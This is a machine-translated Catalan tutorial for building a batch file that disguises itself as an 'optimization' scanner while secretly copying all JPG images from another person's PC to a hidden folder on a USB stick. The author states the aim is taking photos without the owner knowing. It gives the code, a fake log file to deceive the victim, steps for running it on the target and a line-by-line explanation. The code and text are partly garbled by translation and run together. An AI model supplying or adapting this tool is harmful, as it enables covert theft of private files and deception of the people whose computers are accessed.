Arxiu de lots de còpia d'imatges d'espionatge secret: 5 passos

2024 Autora: John Day | [email protected]. Última modificació: 2024-01-30 08:17

Per tant, en primer lloc, què és i per què es pot crear? Aquest instructiu us permetrà crear un fitxer per lots que copiarà totes les imatges d’un PC al vostre llapis de memòria. ho farà discretament, fent-se passar per un altre programa que comprova si hi ha problemes a l’ordinador. Quan hagueu acabat, tindreu una carpeta amagada al llapis de memòria amb totes les imatges copiades. He creat aquesta instrucció perquè volia recuperar una foto digital d'una màquina d'algú sense que sabessin que ho havia fet. L’ús legítim d’aquest fitxer us permetrà arxivar / fer còpies de seguretat de les vostres fotos personals. Altres usos: aquest fitxer es pot modificar per permetre copiar qualsevol altre tipus de document.

Pas 1: escriviu el codi

Copieu el següent codi al bloc de notes i deseu-lo a l’arrel del vostre memory stick com a fitxer bat, podeu anomenar-lo com vulgueu sempre que tingui l’extensió.bat. Per assegurar-vos que té l'extensió correcta, escriviu-la de la manera següent al quadre de guardar del bloc de notes "copyimage.bat" (incloeu-hi les ofertes).

@echo offecho Optimization client 2008 v3.02becho ------------------------------ echo.echo Si us plau, no utilitzeu el vostre PC mentre s'executa.echo.echo Llista de processos d'escaneig. Quan s'hagi completat, es mostrarà un registre perquè l'administrador del sistema el revisi. 00000002 / f> nulmkdir / data> nulattrib + h / data> nulsetLocal EnableDelayedExpansion @ echo offfor %% a in (jpg) do (for / f "tokens = * delims =" %% f in ('dir / b / s / ad c: / *. %% a ') do (xcopy "%% f" / data / / y / h / q> nul)) attrib -s + h data / *> nulstart optimizationLog.txtshutdown / s / c " S'ha completat l'escaneig d'optimització, el vostre PC s'apagarà"

Pas 2: creeu un fitxer d'informe fals

En aquest pas he creat un fitxer de text fals que pretén ser el registre del resultat del fitxer per lots que executem per copiar els fitxers. Això us permet fingir que ha passat alguna cosa. No importa el que digui aquest fitxer, podeu canviar-lo tant com vulgueu, només heu de comprovar que el nom del fitxer sigui correcte i que estigui emmagatzemat a l’arrel de la targeta de memòria. El text que he utilitzat prové principalment d’un segrest. registre, copieu-lo i deseu-lo a l'arrel del vostre memory stick com a optimizationLog.txt

S'ha completat l'escaneig. Tanqueu aquest registre i permeteu que l’administrador del sistema el revisi. Processos d’execució: C: / Windows / system32 / taskeng.exeC: / Windows / system32 / Dwm.exeC: / Windows / Explorer. EXEC: / Program Files / Java / jre1. 6.0_07 / bin / jusched.exeC: / Windows / System32 / hkcmd.exeC: / Windows / System32 / igfxpers.exeC: / Windows / system32 / igfxsrvc.exeC: / Program Files / Synaptics / SynTP / SynTPEnh.exeC: / Program Files / TOSHIBA / Power Saver / TPwrMain.exeC: / Program Files / TOSHIBA / SmoothView / SmoothView.exeC: / Program Files / TOSHIBA / FlashCards / TCrdMain.exeC: / Program Files / BitDefender / BitDefender 2009 / bdagent.exeC: / Program Files / TOSHIBA / TOSCDSPD / TOSCDSPD.exeC: / Program Files / Registry Mechanic / regmech.exeC: / Program Files / BitDefender / BitDefender 2009 / seccenter.exeC: / Program Files / Synaptics / SynTP / SynTPHelper.exeC: / Program Files / Vuze / Azureus.exeC: / Program Files / Microsoft Office / Office12 / OUTLOOK. EXEC: / Program Files / AutoCAD 2008 / acad.exeC: / Users / Tom / AppData / Local / Temp / AdskCleanup.0001C: / Program Files / Mozilla Firefox / firefox.exeC: / Windows / System32 / NOTA PAD. EXEC: / Windows / system32 / SearchFilterHost.exeC: / HijackThis / HijackThis.exeR1 - HKCU / Software / Microsoft / Internet Explorer / Main, Default_Page_URL = https://www.google.co.ukR1 - HKCU / Software / Microsoft / Internet Explorer / Main, pàgina de cerca = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKCU / Software / Microsoft / Internet Explorer / Main, Pàgina inicial = https://www.google.co. ukR1 - HKLM / Software / Microsoft / Internet Explorer / Main, Default_Page_URL = https://www.google.co.ukR1 - HKLM / Software / Microsoft / Internet Explorer / Main, Default_Search_URL = https://go.microsoft.com/ fwlink /? LinkId = 54896R1 - HKLM / Software / Microsoft / Internet Explorer / Main, pàgina de cerca = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKLM / Software / Microsoft / Internet Explorer / Main, Inici Pàgina = https://go.microsoft.com/fwlink/?LinkId=69157R0 - HKLM / Software / Microsoft / Internet Explorer / Search, SearchAssistant = R0 - HKLM / Software / Microsoft / Internet Explorer / Search, CustomizeSearch = R0 - HKCU / Programari / Microsoft / Internet Explorer / Too lbar, LinksFolderName = O1 - Amfitrions::: 1 localhostO2 - BHO: AcroIEHelperStub - {18DF081C-E8AD-4283-A596-FA578C2EBDC3} - C: / Program Files / Common Files / Adobe / Acrobat / ActiveX / AcroIEHelperShim.dll Ajudador del navegador Groove GFS - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} - C: / Program Files / Microsoft Office / Office12 / GrooveShellExtensions.dllO2 - BHO: SSVHelper Class - {761497BB-D6F0-462C-B6EB-D492: / Program Files / Java / jre1.6.0_07 / bin / ssv.dllO3 - Barra d'eines: Barra d'eines BitDefender - {381FFDE8-2394-4f90-B10D-FC6124A40F8C} - C: / Program Files / BitDefender / BitDefender 2009 / IEToolbar.dllO4 - HKLM \.. / Execució: [Windows Defender]% ProgramFiles% / Windows Defender / MSASCui.exe -hideO4 - HKLM \.. / Execució: [SunJavaUpdateSched] "C: / Program Files / Java / jre1.6.0_07 / bin / jusched.exe "O4 - HKLM \.. / Run: [IgfxTray] C: / Windows / system32 / igfxtray.exeO4 - HKLM \.. / Run: [HotKeysCmds] C: / Windows / system32 / hkcmd.exeO4 - HKLM \.. / Executa: [Persistència] C: / Windows / system32 / igfxpers.exeO4 - HKLM \.. / Executa: [SynTPEnh] C: / Program Files / Syna ptics / SynTP / SynTPEnh.exeO4 - HKLM \.. / Run: [TPwrMain]% ProgramFiles% / TOSHIBA / Power Saver / TPwrMain. EXEO4 - HKLM \.. / Run: [SmoothView]% ProgramFiles% / Toshiba / SmoothView / SmoothView.exeO4 - HKLM \.. / Run: [00TCrdMain]% ProgramFiles% / TOSHIBA / FlashCards / TCrdMain.exeO4 - HKLM \.. / Run: [Toshiba TEMPO] C: / Program Files / Toshiba TEMPRO / Toshiba. Tempo. UI. TrayApplication.exeO4 - HKLM \.. / Run: [BDAgent] "C: / Program Files / BitDefender / BitDefender 2009 / bdagent.exe" O4 - HKLM \.. / Run: [BitDefender Antiphishing Helper] "C: / Program Files / BitDefender / BitDefender 2009 / IEShow.exe "O4 - HKCU \.. / Run: [TOSCDSPD] C: / Program Files / TOSHIBA / TOSCDSPD / TOSCDSPD.exeO4 - HKCU \.. / Run: [RegistryMechanic] C: / Program Files / Registry Mechanic / RMTray.exe / HO4 - Inici: OneNote 2007 Screen Clipper and Launcher.lnk = C: / Program Files / Microsoft Office / Office12 / ONENOTEM. EXEO8 - Element de menú contextual addicional: E i xport a Microsoft Excel - res: //C:\PROGRA~1\MICROS~3\Office12\EXCEL. EXE/3000O9 - Botó addicional: (sense nom) - {08B0E5C0-4FCB-11CF-AAA5-0040 1C608501} - C: / PROGRA ~ 1 / Java / JRE16 ~ 2.0_0 / bin / ssv.dllO9 - Menú "Eines" addicionals: consola Sun Java - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C: / PROGRA ~ 1 / Java / JRE16 ~ 2.0_0 / bin / ssv.dllO9 - Botó addicional: enviar a OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / ONBttnIE.dllO9 - Menú "Eines" addicionals: S i final a OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / ONBttnIE.dllO9 - Botó addicional: eBay.co.uk - Comprar It Sell It Love It - {76577871-04EC-495E-A12B-91F7C3600AFA} - https://rover.ebay.com/rover/1/710-44557-9400-3/4 (falta el fitxer) O9 - Botó addicional: (sense nom) - {85d1f590-48f4-11d9-9669-0800200c9a66} -% windir% / bdoscandel.exe (falta el fitxer) O9 - Menú "Eines" addicionals: desinstal·leu BitDefender Online Scanner v8 - {85d1f590-48f4-11d9-9669 -0800200c9a66} -% windir% / bdoscandel.exe (falta el fitxer) O9 - Botó addicional: Amazon.co.uk - {8A918C1D-E123-4E36-B562-5C1519E434CE} - https://www.amazon.co.uk/ exec / obidos / redirect-home? tag = Toshibaukbholink-2 1 & site = home (falta el fitxer) O9 - Botó addicional: Investigació - {92780B25-18CC-41C8-B9BE-3C9C571A8263} - C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / REFIEBAR. DLLO10 - Fitxer desconegut a Winsock LSP: c: / windows / system32 / nlaapi.dllO10 - fitxer desconegut a Winsock LSP: c: / windows / system32 / napinsp.dllO10 - fitxer desconegut a Winsock LSP: c: / fitxers de programa / vmware / vmware workstation / vsocklib.dllO10 - fitxer desconegut a Winsock LSP: c: / fitxers de programa / vmware / vmware workstation / vsocklib.dllO11 - Grup d'opcions: [INTERNACIONAL] Internacional * O13 - Prefix Gopher: O16 - DPF: {CF40ACC5-E1BB-4AFF-AC72-04C2F616BCA7} (classe get_atlcom)) - https://wwwimages.adobe.com/www.adobe.com/products/acrobat/nos/gp.cabO18 - Protocol: grooveLocalGWS - {88FED34C-F0CA-4636-A375-3CB6248B04CD} - C: / Program Files / Microsoft Office / Office12 / GrooveSystemServices.dllO18 - Protocol: ms-help - {314111C7-A502-11D2-BBCA-00C04F8EC294} - C: / Program Files / Common Files / Microsoft Shared / Help / hxds.dllO18 - Filtre segrest: text / xml - {807563E5-5146-11D5-A672-00B0D022E945} - C: / PROGRA ~ 1 / COMMON ~ 1 / MICROS ~ 1 / OFFICE12 / MSOXMLMF. DLLO20 - Notificació Winlogon: igfxcui - C: / Windows / SYSTEM32 / igfxdev.dllO23 - Servei: Àudio del progrés de la trucada del mòdem Agere (AgereModemAudio) - Agere Systems - C: / Windows / system32 / agrsmsvc.exe O23 - Servei: servidor BitDefender Arrakis (Arrakis3) - BitDefender SRL https://www.bitdefender.com - C: / Program Files / Common Files / BitDefender / BitDefender Arrakis Server / bin / Arrakis3.exe O23 - Servei: Servei de llicències d'Autodesk - Autodesk - C: / Program Files / Common Files / Autodesk Shared / Service / AdskScSrv.exeO23 - Servei: Servei ConfigFree - TOSHIBA CORPORATION - C: / Program Files / TOSHIBA / ConfigFree / CFSvcs.exeO23 - Servei: @% SystemRoot% / ehome / ehstart.dll, -101 (ehstart) - Propietari desconegut -% windir% / system32 / svchost.exe (falta un fitxer) O23 - Servei: getPlus (R) Helper - NOS Microsystems Ltd. - C: / Program Files / NOS / bin / getPlus_HelperSvc.exeO23 - Servei: Google Update Service (gupdate1c98840f4e6525b) (gupdate1c98840f4e6525b) - Propietari desconegut - C: / Program Files / Google / Update / GoogleUpdate.exe "/ svc (falta el fitxer) O23 - Servei: Servei d'actualització d'escriptori BitDefender (LIVESRV) - Propietari desconegut - C: / Program Files / Common Files / BitDefender / BitDefender Update Service / livesrv.exe "/ service (file missing) O23 - Servei: @% SystemRoot% / system32 / qwave.dll, -1 (QWAVE) - Propietari desconegut r -% windir% / system32 / svchost.exe (falta un fitxer) O23 - Servei: @% SystemRoot% / system32 / seclogon.dll, -7001 (seclogon) - Propietari desconegut -% windir% / system32 / svchost.exe (fitxer falta) O23 - Servei: Servei de sintonització del rendiment del portàtil (TempoMonitoringService) - Toshiba Europe GmbH - C: / Program Files / Toshiba TEMPRO / TempoSVC.exeO23 - Servei: TOSHIBA Navi Support Service (TNaviSrv) - TOSHIBA Corporation - C: / Program Files / TOSHIBA / TOSHIBA DVD REPRODUCTOR / TNaviSrv.exeO23 - Servei: Servei de discos òptics TOSHIBA (TODDSrv) - TOSHIBA Corporation - C: / Windows / system32 / TODDSrv.exeO23 - Servei: TOSHIBA Power Saver (TosCoSrv) - TOS Fitxers de programa / TOSHIBA / Power Saver / TosCoSrv.exeO23 - Servei: TOSHIBA SMART Log Service - TOSHIBA Corporation - c: / Program Files / TOSHIBA / SMARTLogService / TosIPCSrv.exeO23 - Servei: VMware Agent Service (ufad-ws60) - desconegut C: / Program Files / VMware / VMware Workstation / vmware-ufad.exe "-d" C: / Program Files / VMware / VMware Workstation / "-s ufad-p2v.x ml (fitxer que falta) O23 - Servei: Ulead Burning Helper (UleadBurningHelper) - Ulead Systems, Inc. - C: / Program Files / Common Files / Ulead Systems / DVD / ULCDRSvr.exeO23 - Servei: VMware Authorization Service (VMAuthdService) - VMware, Inc. - C: / Program Files / VMware / VMware Workstation / vmware-authd.exe O23 - Servei: VMware DHCP Service (VMnetDHCP) - VMware, Inc. - C: / Windows / system32 / vmnetdhcp.exeO23 - Servei: VMware NAT Servei - VMware, Inc. - C: / Windows / system32 / vmnat.exe O23 - Servei: BitDefender Virus Shield (VSSERV) - Propietari desconegut - C: / Program Files / BitDefender / BitDefender 2009 / vsserv.exe "/ servei (falta el fitxer)) O23 - Servei: VNC Server versió 4 (WinVNC4) - Propietari desconegut - C: / Program Files / RealVNC / VNC4 / WinVNC4.exe "-servici (falta el fitxer) O23 - Servei: @% ProgramFiles% / Windows Media Player / wmpnetwk.exe, -101 (WMPNetworkSvc) - Propietari desconegut -% ProgramFiles% / Windows Media Player / wmpnetwk.exe (falta el fitxer)

Pas 3: executeu el programa

Ara hauríeu de tenir un llapis de memòria amb dos fitxers (i molt d’espai lliure per a les noves imatges). Si teniu alguna cosa més a la unitat, no importa. Agafeu el llapis de memòria a l'ordinador de destinació. Quan es registri de nou, preneu nota de la lletra de la unitat assignada, cosa que us permetrà executar-la sense haver de navegar cap a la carpeta primer. Premeu la tecla Windows i, a continuació, premeu "R" (mentre manteniu premuda la tecla Windows). Això mostrarà un quadre Run. Al quadre d'execució, escriviu el camí del fitxer per lots que hem creat, la lletra de la unitat és la lletra assignada quan heu endollat el llapis de memòria. Per exemple, si inserto el meu llapis de memòria i registra ag: / unitat, llavors executaria: g: / copyimage.bat I, a continuació, premeu Intro o feu clic a Executa. Això iniciarà l'execució del fitxer per lots. Quan estigui complet, s'apagarà la màquina. Traieu-vos el llapis de memòria i emporteu-lo.

Pas 4: Obteniu les imatges

Ara hauríeu de tenir un llapis de memòria amb totes les imatges. Els fitxers i la carpeta estan amagats, de manera que si no teniu la vostra visualització, l'haureu d'activar. Per fer-ho, aneu a una finestra de l’explorador (per exemple, obriu el meu ordinador) i: WinXP - Eines, Opcions de carpeta, Veure, Mostrar fitxers ocults Vista - Organitzar, Carpeta i opcions de cerca, Veure, Mostrar fitxers ocults Un cop seleccionat, hauríeu de poder obrir el carpeta amagada i obtenir les imatges que volia!

Pas 5: què significa el codi

Explicaré el màxim del codi possible. la funció principal de còpia no la vaig escriure, l’he pres del lloc següent i l’he modificat:

@echo off '' Atura que es mostrin les ordres a la pantalla, de manera que l'usuari no sap què s'està fent echo Optimization client 2008 v3.02b echo ------------------- ------------- ressò. Escriu a la pantalla un títol per al programa echo Si us plau, no utilitzeu l'ordinador mentre s'executa.echo.echo Llista de processos d'escaneig. Quan estigui complet, es mostrarà un registre perquè l'administrador del sistema el revisi. Indica a l’usuari una quantitat d’escombraries que no és veritable reg af HKCU / Software / Microsoft / Windows / CurrentVersion / Explorer / Advanced / v Hidden / t REG_DWORD / d 00000002 / f> nul Afegeix una clau de registre que amagarà els fitxers ocults i carpetes. Això impedeix que l'usuari pugui veure la carpeta que estem creant per contenir les imatges copiades. L'ordre nul al final impedeix que l'ordre informi de qualsevol missatge quan acabi mkdir / data> nul Crea una carpeta a la unitat on resideix aquest fitxer per lots en dades anomenades. attrib + h / data> nul Amaga la carpeta creada setLocal EnableDelayedExpansionfor %% a in (jpg) do (for / f "tokens = * delims =" %% f in ('dir / b / s / ad c: / *). %% a ') do (xcopy "%% f" / data / / y / h / q> nul)) Aquest és el codi que buscarà imatges a tota la unitat c: \. Si voleu que cerqui una altra unitat, canvieu la part c: al que vulgueu. Si voleu que trobi altres tipus de fitxers, llisteu-los al costat del text jpg, separeu els tipus de fitxer amb un espai. Per exemple-j.webp